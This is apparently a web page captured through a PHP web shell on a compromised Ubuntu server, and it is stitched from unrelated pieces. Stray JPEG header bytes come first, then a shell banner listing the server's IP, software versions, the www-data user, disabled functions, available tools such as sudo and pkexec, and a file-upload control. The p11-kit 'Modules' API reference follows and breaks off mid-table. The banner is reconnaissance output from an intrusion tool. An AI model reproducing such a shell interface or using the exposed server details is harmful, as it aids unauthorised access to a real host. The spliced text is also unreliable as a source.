????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.117.229.144 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/libp11-kit-dev/html/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Modules</title> <meta name="generator" content="DocBook XSL Stylesheets V1.78.1"> <link rel="home" href="index.html" title="p11-kit"> <link rel="up" href="reference.html" title="API Reference"> <link rel="prev" href="reference.html" title="API Reference"> <link rel="next" href="p11-kit-URIs.html" title="URIs"> <meta name="generator" content="GTK-Doc V1.19 (XML mode)"> <link rel="stylesheet" href="style.css" type="text/css"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2"> <tr valign="middle"> <td><a accesskey="p" href="reference.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td> <td><a accesskey="u" href="reference.html"><img src="up.png" width="24" height="24" border="0" alt="Up"></a></td> <td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td> <th width="100%" align="center">p11-kit</th> <td><a accesskey="n" href="p11-kit-URIs.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td> </tr> <tr><td colspan="5" class="shortcuts"> <a href="#p11-kit-Modules.synopsis" class="shortcut">Top</a> | <a href="#p11-kit-Modules.description" class="shortcut">Description</a> </td></tr> </table> <div class="refentry"> <a name="p11-kit-Modules"></a><div class="titlepage"></div> <div class="refnamediv"><table width="100%"><tr> <td valign="top"> <h2><span class="refentrytitle"><a name="p11-kit-Modules.top_of_page"></a>Modules</span></h2> <p>Modules — Module loading and initializing</p> </td> <td valign="top" align="right"></td> </tr></table></div> <div class="refsynopsisdiv"> <a name="p11-kit-Modules.synopsis"></a><h2>Synopsis</h2> <pre class="synopsis">#define <a class="link" href="p11-kit-Modules.html#P11-KIT-MODULE-CRITICAL:CAPS" title="P11_KIT_MODULE_CRITICAL">P11_KIT_MODULE_CRITICAL</a> #define <a class="link" href="p11-kit-Modules.html#P11-KIT-MODULE-UNMANAGED:CAPS" title="P11_KIT_MODULE_UNMANAGED">P11_KIT_MODULE_UNMANAGED</a> <span class="returnvalue">CK_FUNCTION_LIST</span> ** <a class="link" href="p11-kit-Modules.html#p11-kit-modules-load-and-initialize" title="p11_kit_modules_load_and_initialize ()">p11_kit_modules_load_and_initialize</a> (<em class="parameter"><code><span class="type">int</span> flags</code></em>); <span class="returnvalue">void</span> <a class="link" href="p11-kit-Modules.html#p11-kit-modules-finalize-and-release" title="p11_kit_modules_finalize_and_release ()">p11_kit_modules_finalize_and_release</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>); <span class="returnvalue">CK_FUNCTION_LIST</span> ** <a class="link" href="p11-kit-Modules.html#p11-kit-modules-load" title="p11_kit_modules_load ()">p11_kit_modules_load</a> (<em class="parameter"><code>const <span class="type">char</span> *reserved</code></em>, <em class="parameter"><code><span class="type">int</span> flags</code></em>); <a href="http://developer.gnome.org/gck/stable/pkcs11-links.html#CK-RV:CAPS"><span class="returnvalue">CK_RV</span></a> <a class="link" href="p11-kit-Modules.html#p11-kit-modules-initialize" title="p11_kit_modules_initialize ()">p11_kit_modules_initialize</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>, <em class="parameter"><code><a class="link" href="p11-kit-Future.html#p11-kit-destroyer" title="p11_kit_destroyer ()"><span class="type">p11_kit_destroyer</span></a> failure_callback</code></em>); <a href="http://developer.gnome.org/gck/stable/pkcs11-links.html#CK-RV:CAPS"><span class="returnvalue">CK_RV</span></a> <a class="link" href="p11-kit-Modules.html#p11-kit-modules-finalize" title="p11_kit_modules_finalize ()">p11_kit_modules_finalize</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>); <span class="returnvalue">void</span> <a class="link" href="p11-kit-Modules.html#p11-kit-modules-release" title="p11_kit_modules_release ()">p11_kit_modules_release</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>); <span class="returnvalue">CK_FUNCTION_LIST</span> * <a class="link" href="p11-kit-Modules.html#p11-kit-module-load" title="p11_kit_module_load ()">p11_kit_module_load</a> (<em class="parameter"><code>const <span class="type">char</span> *module_path</code></em>, <em class="parameter"><code><span class="type">int</span> flags</code></em>); <a href="http://developer.gnome.org/gck/stable/pkcs11-links.html#CK-RV:CAPS"><span class="returnvalue">CK_RV</span></a> <a class="link" href="p11-kit-Modules.html#p11-kit-module-initialize" title="p11_kit_module_initialize ()">p11_kit_module_initialize</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>); <a href="http://developer.gnome.org/gck/stable/pkcs11-links.html#CK-RV:CAPS"><span class="returnvalue">CK_RV</span></a> <a class="link" href="p11-kit-Modules.html#p11-kit-module-finalize" title="p11_kit_module_finalize ()">p11_kit_module_finalize</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>); <span class="returnvalue">void</span> <a class="link" href="p11-kit-Modules.html#p11-kit-module-release" title="p11_kit_module_release ()">p11_kit_module_release</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>); <span class="returnvalue">CK_FUNCTION_LIST</span> * <a class="link" href="p11-kit-Modules.html#p11-kit-module-for-name" title="p11_kit_module_for_name ()">p11_kit_module_for_name</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>, <em class="parameter"><code>const <span class="type">char</span> *name</code></em>); <span class="returnvalue">char</span> * <a class="link" href="p11-kit-Modules.html#p11-kit-module-get-name" title="p11_kit_module_get_name ()">p11_kit_module_get_name</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>); <span class="returnvalue">int</span> <a class="link" href="p11-kit-Modules.html#p11-kit-module-get-flags" title="p11_kit_module_get_flags ()">p11_kit_module_get_flags</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>); <span class="returnvalue">char</span> * <a class="link" href="p11-kit-Modules.html#p11-kit-config-option" title="p11_kit_config_option ()">p11_kit_config_option</a> (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>, <em class="parameter"><code>const <span class="type">char</span> *option</code></em>); </pre> </div> <div class="refsect1"> <a name="p11-kit-Modules.description"></a><h2>Description</h2> <p> PKCS#11 modules are used by crypto libraries and applications to access crypto objects (like keys and certificates) and to perform crypto operations. </p> <p> In order for applications to behave consistently with regard to the user's installed PKCS#11 modules, each module must be configured so that applications or libraries know that they should load it. </p> <p> When multiple consumers of a module (such as libraries or applications) are in the same process, coordination of the initialization and finalization of PKCS#11 modules is required. To do this modules are managed by p11-kit. This means that various unsafe methods are coordinated between callers. Unmanaged modules are simply the raw PKCS#11 module pointers without p11-kit getting in the way. It is highly recommended that the default managed behavior is used. </p> <p> The functions here provide support for initializing configured modules. The <a class="link" href="p11-kit-Modules.html#p11-kit-modules-load" title="p11_kit_modules_load ()"><code class="function">p11_kit_modules_load()</code></a> function should be used to load and initialize the configured modules. When done, the <a class="link" href="p11-kit-Modules.html#p11-kit-modules-release" title="p11_kit_modules_release ()"><code class="function">p11_kit_modules_release()</code></a> function should be used to release those modules and associated resources. </p> <p> In addition <a class="link" href="p11-kit-Modules.html#p11-kit-config-option" title="p11_kit_config_option ()"><code class="function">p11_kit_config_option()</code></a> can be used to access other parts of the module configuration. </p> <p> If a consumer wishes to load an arbitrary PKCS#11 module that's not configured use <a class="link" href="p11-kit-Modules.html#p11-kit-module-load" title="p11_kit_module_load ()"><code class="function">p11_kit_module_load()</code></a> to do so. And use <a class="link" href="p11-kit-Modules.html#p11-kit-module-release" title="p11_kit_module_release ()"><code class="function">p11_kit_module_release()</code></a> to later release it. </p> <p> Modules are represented by a pointer to their <code class="code">CK_FUNCTION_LIST</code> entry points. </p> </div> <div class="refsect1"> <a name="p11-kit-Modules.details"></a><h2>Details</h2> <div class="refsect2"> <a name="P11-KIT-MODULE-CRITICAL:CAPS"></a><h3>P11_KIT_MODULE_CRITICAL</h3> <pre class="programlisting">#define P11_KIT_MODULE_CRITICAL 1 </pre> <p> Flag to load a module in 'critical' mode. Failure to load a critical module will prevent all other modules from loading. A failure when loading a non-critical module skips that module. </p> </div> <hr> <div class="refsect2"> <a name="P11-KIT-MODULE-UNMANAGED:CAPS"></a><h3>P11_KIT_MODULE_UNMANAGED</h3> <pre class="programlisting">#define P11_KIT_MODULE_UNMANAGED 1 </pre> <p> Module is loaded in non 'managed' mode. This is not recommended, disables many features, and prevents coordination between multiple callers of the same module. </p> </div> <hr> <div class="refsect2"> <a name="p11-kit-modules-load-and-initialize"></a><h3>p11_kit_modules_load_and_initialize ()</h3> <pre class="programlisting"><span class="returnvalue">CK_FUNCTION_LIST</span> ** p11_kit_modules_load_and_initialize (<em class="parameter"><code><span class="type">int</span> flags</code></em>);</pre> <p> Load and initialize configured modules. </p> <p> If a critical module fails to load or initialize then the function will return <code class="literal">NULL</code>. Non-critical modules will be skipped and not included in the returned module list. </p> <p> Use <a class="link" href="p11-kit-Modules.html#p11-kit-modules-finalize-and-release" title="p11_kit_modules_finalize_and_release ()"><code class="function">p11_kit_modules_finalize_and_release()</code></a> when you're done with the modules returned by this function. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>flags</code></em> :</span></p></td> <td>flags to use to load the modules</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td>a <code class="literal">NULL</code> terminated list of modules, or <code class="literal">NULL</code> on failure</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-modules-finalize-and-release"></a><h3>p11_kit_modules_finalize_and_release ()</h3> <pre class="programlisting"><span class="returnvalue">void</span> p11_kit_modules_finalize_and_release (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>);</pre> <p> Finalize and then release the a set of loaded PKCS#11 modules. </p> <p> The modules may be either managed or unmanaged. The array containing the module pointers is also freed by this function. </p> <p> Modules are released even if their finalization returns an error code. Managed modules will not be actually finalized or released until all callers using them have done so. </p> <p> For managed modules the <code class="literal">C_Finalize</code> function is overridden so that multiple callers can finalize the same modules. In addition for managed modules multiple callers can finalize from different threads, and still guarantee consistent thread-safe behavior. </p> <p> For unmanaged modules if multiple callers try to finalize a module, then one of the calls will return <code class="literal">CKR_CRYPTOKI_NOT_INITIALIZED</code> according to the PKCS#11 specification. In addition there are no guarantees that thread-safe behavior will occur if multiple callers initialize from different threads. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody><tr> <td><p><span class="term"><em class="parameter"><code>modules</code></em> :</span></p></td> <td>the modules to release</td> </tr></tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-modules-load"></a><h3>p11_kit_modules_load ()</h3> <pre class="programlisting"><span class="returnvalue">CK_FUNCTION_LIST</span> ** p11_kit_modules_load (<em class="parameter"><code>const <span class="type">char</span> *reserved</code></em>, <em class="parameter"><code><span class="type">int</span> flags</code></em>);</pre> <p> Load the configured PKCS#11 modules. </p> <p> If <em class="parameter"><code>flags</code></em> contains the <a class="link" href="p11-kit-Modules.html#P11-KIT-MODULE-UNMANAGED:CAPS" title="P11_KIT_MODULE_UNMANAGED"><code class="literal">P11_KIT_MODULE_UNMANAGED</code></a> flag, then the modules will be not be loaded in 'managed' mode regardless of its configuration. This is not recommended for general usage. </p> <p> If <em class="parameter"><code>flags</code></em> contains the <a class="link" href="p11-kit-Modules.html#P11-KIT-MODULE-CRITICAL:CAPS" title="P11_KIT_MODULE_CRITICAL"><code class="literal">P11_KIT_MODULE_CRITICAL</code></a> flag then the modules will all be treated as 'critical', regardless of the module configuration. This means that a failure to load any module will cause this funtion to fail. </p> <p> For unmanaged modules there is no guarantee to the state of the modules. Other callers may be using the modules. Using unmanaged modules haphazardly is not recommended for this reason. Some modules (such as those configured with RPC) cannot be loaded in unmanaged mode, and will be skipped. </p> <p> Use <a class="link" href="p11-kit-Modules.html#p11-kit-modules-release" title="p11_kit_modules_release ()"><code class="function">p11_kit_modules_release()</code></a> to release the modules returned by this function. </p> <p> If this function fails, then an error message will be available via the <a class="link" href="p11-kit-Utilities.html#p11-kit-message" title="p11_kit_message ()"><code class="function">p11_kit_message()</code></a> function. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>reserved</code></em> :</span></p></td> <td>set to <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> </td> </tr> <tr> <td><p><span class="term"><em class="parameter"><code>flags</code></em> :</span></p></td> <td>flags to use to load the module</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td>a null terminated list of modules represented as PKCS#11 function lists, or <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> on failure</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-modules-initialize"></a><h3>p11_kit_modules_initialize ()</h3> <pre class="programlisting"><a href="http://developer.gnome.org/gck/stable/pkcs11-links.html#CK-RV:CAPS"><span class="returnvalue">CK_RV</span></a> p11_kit_modules_initialize (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>, <em class="parameter"><code><a class="link" href="p11-kit-Future.html#p11-kit-destroyer" title="p11_kit_destroyer ()"><span class="type">p11_kit_destroyer</span></a> failure_callback</code></em>);</pre> <p> Initialize all the modules in the <em class="parameter"><code>modules</code></em> list by calling their <code class="literal">C_Initialize</code> function. </p> <p> For managed modules the <code class="literal">C_Initialize</code> function is overridden so that multiple callers can initialize the same modules. In addition for managed modules multiple callers can initialize from different threads, and still guarantee consistent thread-safe behavior. </p> <p> For unmanaged modules if multiple callers try to initialize a module, then one of the calls will return <code class="literal">CKR_CRYPTOKI_ALREADY_INITIALIZED</code> according to the PKCS#11 specification. In addition there are no guarantees that thread-safe behavior will occur if multiple callers initialize from different threads. </p> <p> When a module fails to initialize it is removed from the <em class="parameter"><code>modules</code></em> list. If the <em class="parameter"><code>failure_callback</code></em> is not <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> then it is called with the modules that fail to initialize. For example, you may pass <a class="link" href="p11-kit-Modules.html#p11-kit-module-release" title="p11_kit_module_release ()"><code class="function">p11_kit_module_release()</code></a> as a <em class="parameter"><code>failure_callback</code></em> if the <em class="parameter"><code>modules</code></em> list was loaded wit <a class="link" href="p11-kit-Modules.html#p11-kit-modules-load" title="p11_kit_modules_load ()"><code class="function">p11_kit_modules_load()</code></a>. </p> <p> The return value will return the failure code of the last critical module that failed to initialize. Non-critical module failures do not affect the return value. If no critical modules failed to initialize then the return value will be <code class="literal">CKR_OK</code>. </p> <p> When modules are removed, the list will be <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> terminated at the appropriate place so it can continue to be used as a modules list. </p> <p> This function does not accept a <code class="code">CK_C_INITIALIZE_ARGS</code> argument. Custom initialization arguments cannot be supported when multiple consumers load the same module. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>modules</code></em> :</span></p></td> <td>a <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> terminated list of modules</td> </tr> <tr> <td><p><span class="term"><em class="parameter"><code>failure_callback</code></em> :</span></p></td> <td>called with modules that fail to initialize</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td> <code class="literal">CKR_OK</code> or the failure code of the last critical module that failed to initialize.</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-modules-finalize"></a><h3>p11_kit_modules_finalize ()</h3> <pre class="programlisting"><a href="http://developer.gnome.org/gck/stable/pkcs11-links.html#CK-RV:CAPS"><span class="returnvalue">CK_RV</span></a> p11_kit_modules_finalize (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>);</pre> <p> Finalize each module in the <em class="parameter"><code>modules</code></em> list by calling its <code class="literal">C_Finalize</code> function. Regardless of failures, all <em class="parameter"><code>modules</code></em> will have their <code class="literal">C_Finalize</code> function called. </p> <p> If a module returns a failure from its <code class="literal">C_Finalize</code> method it will be returned. If multiple modules fail, the last failure will be returned. </p> <p> For managed modules the <code class="literal">C_Finalize</code> function is overridden so that multiple callers can finalize the same modules. In addition for managed modules multiple callers can finalize from different threads, and still guarantee consistent thread-safe behavior. </p> <p> For unmanaged modules if multiple callers try to finalize a module, then one of the calls will return <code class="literal">CKR_CRYPTOKI_NOT_INITIALIZED</code> according to the PKCS#11 specification. In addition there are no guarantees that thread-safe behavior will occur if multiple callers finalize from different threads. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>modules</code></em> :</span></p></td> <td>a <code class="literal">NULL</code> terminated list of modules</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td> <code class="literal">CKR_OK</code> or the failure code of the last module that failed to finalize</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-modules-release"></a><h3>p11_kit_modules_release ()</h3> <pre class="programlisting"><span class="returnvalue">void</span> p11_kit_modules_release (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>);</pre> <p> Release the a set of loaded PKCS#11 modules. </p> <p> The modules may be either managed or unmanaged. The array containing the module pointers is also freed by this function. </p> <p> Managed modules will not be actually released until all callers using them have done so. If the modules were initialized, they should have been finalized first. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody><tr> <td><p><span class="term"><em class="parameter"><code>modules</code></em> :</span></p></td> <td>the modules to release</td> </tr></tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-module-load"></a><h3>p11_kit_module_load ()</h3> <pre class="programlisting"><span class="returnvalue">CK_FUNCTION_LIST</span> * p11_kit_module_load (<em class="parameter"><code>const <span class="type">char</span> *module_path</code></em>, <em class="parameter"><code><span class="type">int</span> flags</code></em>);</pre> <p> Load an arbitrary PKCS#11 module from a dynamic library file, and initialize it. Normally using the <a class="link" href="p11-kit-Modules.html#p11-kit-modules-load" title="p11_kit_modules_load ()"><code class="function">p11_kit_modules_load()</code></a> function is preferred. </p> <p> Using this function to load modules allows coordination between multiple callers of the same module in a single process. If <em class="parameter"><code>flags</code></em> contains the <a class="link" href="p11-kit-Modules.html#P11-KIT-MODULE-UNMANAGED:CAPS" title="P11_KIT_MODULE_UNMANAGED"><code class="literal">P11_KIT_MODULE_UNMANAGED</code></a> flag, then the modules will be not be loaded in 'managed' mode and not be coordinated. This is not recommended for general usage. </p> <p> Subsequent calls to this function for the same module will result in an initialization count being incremented for the module. It is safe (although usually unnecessary) to use this function on registered modules. </p> <p> The module should be released with <a class="link" href="p11-kit-Modules.html#p11-kit-module-release" title="p11_kit_module_release ()"><code class="function">p11_kit_module_release()</code></a>. </p> <p> If this function fails, then an error message will be available via the <a class="link" href="p11-kit-Utilities.html#p11-kit-message" title="p11_kit_message ()"><code class="function">p11_kit_message()</code></a> function. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>module_path</code></em> :</span></p></td> <td>full file path of module library</td> </tr> <tr> <td><p><span class="term"><em class="parameter"><code>flags</code></em> :</span></p></td> <td>flags to use when loading the module</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td>the loaded module PKCS#11 functions or <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> on failure</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-module-initialize"></a><h3>p11_kit_module_initialize ()</h3> <pre class="programlisting"><a href="http://developer.gnome.org/gck/stable/pkcs11-links.html#CK-RV:CAPS"><span class="returnvalue">CK_RV</span></a> p11_kit_module_initialize (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>);</pre> <p> Initialize a PKCS#11 module by calling its <code class="literal">C_Initialize</code> function. </p> <p> For managed modules the <code class="literal">C_Initialize</code> function is overridden so that multiple callers can initialize the same modules. In addition for managed modules multiple callers can initialize from different threads, and still guarantee consistent thread-safe behavior. </p> <p> For unmanaged modules if multiple callers try to initialize a module, then one of the calls will return <code class="literal">CKR_CRYPTOKI_ALREADY_INITIALIZED</code> according to the PKCS#11 specification. In addition there are no guarantees that thread-safe behavior will occur if multiple callers initialize from different threads. </p> <p> This function does not accept a <code class="code">CK_C_INITIALIZE_ARGS</code> argument. Custom initialization arguments cannot be supported when multiple consumers load the same module. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>module</code></em> :</span></p></td> <td>the module to initialize</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td> <code class="literal">CKR_OK</code> or a failure code</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-module-finalize"></a><h3>p11_kit_module_finalize ()</h3> <pre class="programlisting"><a href="http://developer.gnome.org/gck/stable/pkcs11-links.html#CK-RV:CAPS"><span class="returnvalue">CK_RV</span></a> p11_kit_module_finalize (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>);</pre> <p> Finalize a PKCS#11 module by calling its <code class="literal">C_Finalize</code> function. </p> <p> For managed modules the <code class="literal">C_Finalize</code> function is overridden so that multiple callers can finalize the same modules. In addition for managed modules multiple callers can finalize from different threads, and still guarantee consistent thread-safe behavior. </p> <p> For unmanaged modules if multiple callers try to finalize a module, then one of the calls will return <code class="literal">CKR_CRYPTOKI_NOT_INITIALIZED</code> according to the PKCS#11 specification. In addition there are no guarantees that thread-safe behavior will occur if multiple callers finalize from different threads. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>module</code></em> :</span></p></td> <td>the module to finalize</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td> <code class="literal">CKR_OK</code> or a failure code</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-module-release"></a><h3>p11_kit_module_release ()</h3> <pre class="programlisting"><span class="returnvalue">void</span> p11_kit_module_release (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>);</pre> <p> Release the a loaded PKCS#11 modules. </p> <p> The module may be either managed or unmanaged. The <code class="literal">C_Finalize</code> function will be called if no other callers are using this module. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody><tr> <td><p><span class="term"><em class="parameter"><code>module</code></em> :</span></p></td> <td>the module to release</td> </tr></tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-module-for-name"></a><h3>p11_kit_module_for_name ()</h3> <pre class="programlisting"><span class="returnvalue">CK_FUNCTION_LIST</span> * p11_kit_module_for_name (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> **modules</code></em>, <em class="parameter"><code>const <span class="type">char</span> *name</code></em>);</pre> <p> Look through the list of <em class="parameter"><code>modules</code></em> and return the module whose <em class="parameter"><code>name</code></em> matches. </p> <p> Only configured modules have names. Configured modules are loaded by <a class="link" href="p11-kit-Modules.html#p11-kit-modules-load" title="p11_kit_modules_load ()"><code class="function">p11_kit_modules_load()</code></a>. The module passed to this function can be either managed or unmanaged. </p> <p> The return value is not copied or duplicated in anyway. It is still 'owned' by the <em class="parameter"><code>modules</code></em> list. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>modules</code></em> :</span></p></td> <td>a list of modules to look through</td> </tr> <tr> <td><p><span class="term"><em class="parameter"><code>name</code></em> :</span></p></td> <td>the name of the module to find</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td>the module which matches the name, or <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> if no match.</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-module-get-name"></a><h3>p11_kit_module_get_name ()</h3> <pre class="programlisting"><span class="returnvalue">char</span> * p11_kit_module_get_name (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>);</pre> <p> Get the configured name of the PKCS#11 module. </p> <p> Configured modules are loaded by <a class="link" href="p11-kit-Modules.html#p11-kit-modules-load" title="p11_kit_modules_load ()"><code class="function">p11_kit_modules_load()</code></a>. The module passed to this function can be either managed or unmanaged. Non configured modules will return <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a>. </p> <p> Use <code class="function">free()</code> to release the return value when you're done with it. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>module</code></em> :</span></p></td> <td>pointer to a loaded module</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td>a newly allocated string containing the module name, or <code class="code">NULL</code> if the module is not a configured module</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-module-get-flags"></a><h3>p11_kit_module_get_flags ()</h3> <pre class="programlisting"><span class="returnvalue">int</span> p11_kit_module_get_flags (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>);</pre> <p> Get the flags for this module. </p> <p> The <a class="link" href="p11-kit-Modules.html#P11-KIT-MODULE-UNMANAGED:CAPS" title="P11_KIT_MODULE_UNMANAGED"><code class="literal">P11_KIT_MODULE_UNMANAGED</code></a> flag will be set if the module is not managed by p11-kit. It is a raw PKCS#11 module function list. </p> <p> The <a class="link" href="p11-kit-Modules.html#P11-KIT-MODULE-CRITICAL:CAPS" title="P11_KIT_MODULE_CRITICAL"><code class="literal">P11_KIT_MODULE_CRITICAL</code></a> flag will be set if the module is configured to be critical, and not be skipped over if it fails to initialize or load. This flag is also set for modules that are not configured, but have been loaded in another fashion. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>module</code></em> :</span></p></td> <td>the module</td> </tr> <tr> <td><p><span class="term"><span class="emphasis"><em>Returns</em></span> :</span></p></td> <td>the flags for the module</td> </tr> </tbody> </table></div> </div> <hr> <div class="refsect2"> <a name="p11-kit-config-option"></a><h3>p11_kit_config_option ()</h3> <pre class="programlisting"><span class="returnvalue">char</span> * p11_kit_config_option (<em class="parameter"><code><span class="type">CK_FUNCTION_LIST</span> *module</code></em>, <em class="parameter"><code>const <span class="type">char</span> *option</code></em>);</pre> <p> Retrieve the value for a configured option. </p> <p> If <em class="parameter"><code>module</code></em> is <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a>, then the global option with the given name will be retrieved. Otherwise <em class="parameter"><code>module</code></em> should point to a configured loaded module. If no such <em class="parameter"><code>option</code></em> or configured <em class="parameter"><code>module</code></em> exists, then <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> will be returned. </p> <p> Use <code class="function">free()</code> to release the returned value. </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><em class="parameter"><code>module</code></em> :</span></p></td> <td>the module to retrieve the option for, or <a href="http://library.gnome.org/devel/glib/unstable/glib-Standard-Macros.html#NULL:CAPS"><code class="literal">NULL</code></a> for global options</td> </tr> <tr> <td><p><span class="term"><em class="parameter"><code>option</code></em> :</span></p></td> <td>the option to retrieve</td> </tr> <tr> 